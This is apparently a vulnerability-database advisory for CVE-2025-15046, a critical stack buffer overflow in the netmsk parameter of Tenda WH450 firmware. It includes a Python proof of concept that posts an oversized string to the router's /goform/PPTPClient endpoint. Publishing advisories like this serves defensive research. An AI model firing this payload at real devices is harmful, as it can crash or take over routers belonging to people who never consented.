Security Vulnerability Report
中文
CVE-2025-15046 CVSS 9.8 CRITICAL

CVE-2025-15046

Published: 2025-12-23 22:15:52
Last Modified: 2025-12-30 19:29:14

Description

A vulnerability has been found in Tenda WH450 1.0.0.18. The impacted element is an unknown function of the file /goform/PPTPClient of the component HTTP Request Handler. Such manipulation of the argument netmsk leads to stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:wh450_firmware:1.0.0.18:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:wh450:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda WH450 < 1.0.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-15046 PoC - Tenda WH450 Buffer Overflow # Target: /goform/PPTPClient endpoint # Parameter: netmsk target_ip = "192.168.0.1" # Replace with target IP url = f"http://{target_ip}/goform/PPTPClient" # Generate payload with excessive length to trigger overflow # Adjust the length based on buffer size in target firmware payload_size = 1000 # May need adjustment overflow_payload = "A" * payload_size # Construct malicious request data = { "netmsk": overflow_payload, # Other parameters may be needed } try: print(f"[*] Sending exploit to {url}") print(f"[*] Payload size: {len(overflow_payload)} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Exploit sent successfully") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: This PoC demonstrates the vulnerability concept. # Actual exploitation requires analysis of specific firmware version. # Use responsibly and only on systems you have permission to test.

References

Raw JSON Data

JSON
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